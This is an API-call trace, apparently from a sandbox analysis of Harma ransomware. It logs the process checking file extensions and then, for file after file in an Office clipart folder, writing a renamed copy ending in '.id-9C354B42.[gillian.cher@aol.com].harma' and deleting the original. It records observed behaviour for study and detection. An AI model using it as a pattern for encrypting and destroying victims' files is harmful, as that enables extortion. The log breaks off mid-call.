[0145.946] lstrlenW (lpString=".rar") returned 4 [0145.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString=".bz2") returned 4 [0145.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString=".7z") returned 3 [0145.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.946] lstrlenW (lpString=".dbf") returned 4 [0145.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.946] lstrlenW (lpString=".1cd") returned 4 [0145.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0145.946] lstrlenW (lpString=".jpg") returned 4 [0145.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.947] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.947] lstrlenW (lpString="BL00296_.WMF") returned 12 [0145.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.947] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=812) returned 1 [0145.947] CloseHandle (hObject=0x214) returned 1 [0145.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0145.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.948] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.948] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0145.949] GetLastError () returned 0x0 [0145.949] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x32c, lpOverlapped=0x0) returned 1 [0145.950] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x330, lpOverlapped=0x0) returned 1 [0145.951] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.951] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.952] SetEndOfFile (hFile=0x35c) returned 1 [0145.952] CloseHandle (hObject=0x35c) returned 1 [0145.952] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.952] SetEndOfFile (hFile=0x214) returned 1 [0145.954] CloseHandle (hObject=0x214) returned 1 [0145.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0145.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.955] lstrlenW (lpString=".doc") returned 4 [0145.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.955] lstrlenW (lpString=".docx") returned 5 [0145.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.955] lstrlenW (lpString=".pdf") returned 4 [0145.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.955] lstrlenW (lpString=".xls") returned 4 [0145.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.955] lstrlenW (lpString=".xlsx") returned 5 [0145.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.955] lstrlenW (lpString=".ppt") returned 4 [0145.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.955] lstrlenW (lpString=".zip") returned 4 [0145.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.956] lstrlenW (lpString=".rar") returned 4 [0145.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString=".bz2") returned 4 [0145.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString=".7z") returned 3 [0145.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.956] lstrlenW (lpString=".dbf") returned 4 [0145.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.956] lstrlenW (lpString=".1cd") returned 4 [0145.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.956] lstrlenW (lpString=".jpg") returned 4 [0145.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.956] lstrlenW (lpString=".doc") returned 4 [0145.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString=".docx") returned 5 [0145.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.956] lstrlenW (lpString=".pdf") returned 4 [0145.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString=".xls") returned 4 [0145.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.956] lstrlenW (lpString=".xlsx") returned 5 [0145.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.956] lstrlenW (lpString=".ppt") returned 4 [0145.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.957] lstrlenW (lpString=".zip") returned 4 [0145.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.957] lstrlenW (lpString=".rar") returned 4 [0145.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString=".bz2") returned 4 [0145.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString=".7z") returned 3 [0145.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.957] lstrlenW (lpString=".dbf") returned 4 [0145.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.957] lstrlenW (lpString=".1cd") returned 4 [0145.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0145.957] lstrlenW (lpString=".jpg") returned 4 [0145.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.957] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.957] lstrlenW (lpString="BL00390_.WMF") returned 12 [0145.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.958] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=13102) returned 1 [0145.958] CloseHandle (hObject=0x214) returned 1 [0145.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0145.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.959] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.959] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0145.960] GetLastError () returned 0x0 [0145.960] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x332e, lpOverlapped=0x0) returned 1 [0145.962] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3330, lpOverlapped=0x0) returned 1 [0145.963] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.963] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.963] SetEndOfFile (hFile=0x35c) returned 1 [0145.963] CloseHandle (hObject=0x35c) returned 1 [0145.963] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.963] SetEndOfFile (hFile=0x214) returned 1 [0145.966] CloseHandle (hObject=0x214) returned 1 [0145.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0145.967] lstrlenW (lpString=".doc") returned 4 [0145.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString=".docx") returned 5 [0145.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.967] lstrlenW (lpString=".pdf") returned 4 [0145.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString=".xls") returned 4 [0145.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.967] lstrlenW (lpString=".xlsx") returned 5 [0145.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.967] lstrlenW (lpString=".ppt") returned 4 [0145.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0145.967] lstrlenW (lpString=".zip") returned 4 [0145.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.968] lstrlenW (lpString=".rar") returned 4 [0145.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.968] lstrlenW (lpString=".bz2") returned 4 [0145.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.968] lstrlenW (lpString=".7z") returned 3 [0145.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0145.968] lstrlenW (lpString=".dbf") returned 4 [0145.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0145.968] lstrlenW (lpString=".1cd") returned 4 [0145.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0146.015] lstrlenW (lpString=".jpg") returned 4 [0146.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0146.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0146.016] lstrlenW (lpString=".doc") returned 4 [0146.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.016] lstrlenW (lpString=".docx") returned 5 [0146.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.016] lstrlenW (lpString=".pdf") returned 4 [0146.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.016] lstrlenW (lpString=".xls") returned 4 [0146.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.016] lstrlenW (lpString=".xlsx") returned 5 [0146.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.016] lstrlenW (lpString=".ppt") returned 4 [0146.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0146.016] lstrlenW (lpString=".zip") returned 4 [0146.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.016] lstrlenW (lpString=".rar") returned 4 [0146.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.016] lstrlenW (lpString=".bz2") returned 4 [0146.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.016] lstrlenW (lpString=".7z") returned 3 [0146.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0146.016] lstrlenW (lpString=".dbf") returned 4 [0146.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0146.016] lstrlenW (lpString=".1cd") returned 4 [0146.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0146.017] lstrlenW (lpString=".jpg") returned 4 [0146.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.017] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.017] lstrlenW (lpString="BL00392_.WMF") returned 12 [0146.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0146.018] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=27050) returned 1 [0146.018] CloseHandle (hObject=0x214) returned 1 [0146.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0146.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0146.019] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0146.019] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0146.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0146.020] GetLastError () returned 0x0 [0146.020] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x69aa, lpOverlapped=0x0) returned 1 [0146.022] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0146.024] ReadFile (in: hFile=0x214, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0146.024] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.024] SetEndOfFile (hFile=0x35c) returned 1 [0146.024] CloseHandle (hObject=0x35c) returned 1 [0146.024] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0146.024] SetEndOfFile (hFile=0x214) returned 1 [0146.027] CloseHandle (hObject=0x214) returned 1 [0146.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.028] lstrlenW (lpString=".doc") returned 4 [0146.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.028] lstrlenW (lpString=".docx") returned 5 [0146.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.028] lstrlenW (lpString=".pdf") returned 4 [0146.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.028] lstrlenW (lpString=".xls") returned 4 [0146.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.028] lstrlenW (lpString=".xlsx") returned 5 [0146.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.028] lstrlenW (lpString=".ppt") returned 4 [0146.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.028] lstrlenW (lpString=".zip") returned 4 [0146.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.028] lstrlenW (lpString=".rar") returned 4 [0146.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.028] lstrlenW (lpString=".bz2") returned 4 [0146.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.028] lstrlenW (lpString=".7z") returned 3 [0146.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.028] lstrlenW (lpString=".dbf") returned 4 [0146.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.028] lstrlenW (lpString=".1cd") returned 4 [0146.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.028] lstrlenW (lpString=".jpg") returned 4 [0146.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.029] lstrlenW (lpString=".doc") returned 4 [0146.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.029] lstrlenW (lpString=".docx") returned 5 [0146.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.029] lstrlenW (lpString=".pdf") returned 4 [0146.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.029] lstrlenW (lpString=".xls") returned 4 [0146.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.029] lstrlenW (lpString=".xlsx") returned 5 [0146.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.029] lstrlenW (lpString=".ppt") returned 4 [0146.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.029] lstrlenW (lpString=".zip") returned 4 [0146.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.029] lstrlenW (lpString=".rar") returned 4 [0146.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.029] lstrlenW (lpString=".bz2") returned 4 [0146.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.029] lstrlenW (lpString=".7z") returned 3 [0146.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.029] lstrlenW (lpString=".dbf") returned 4 [0146.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0146.029] lstrlenW (lpString=".1cd") returned 4 [0146.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") 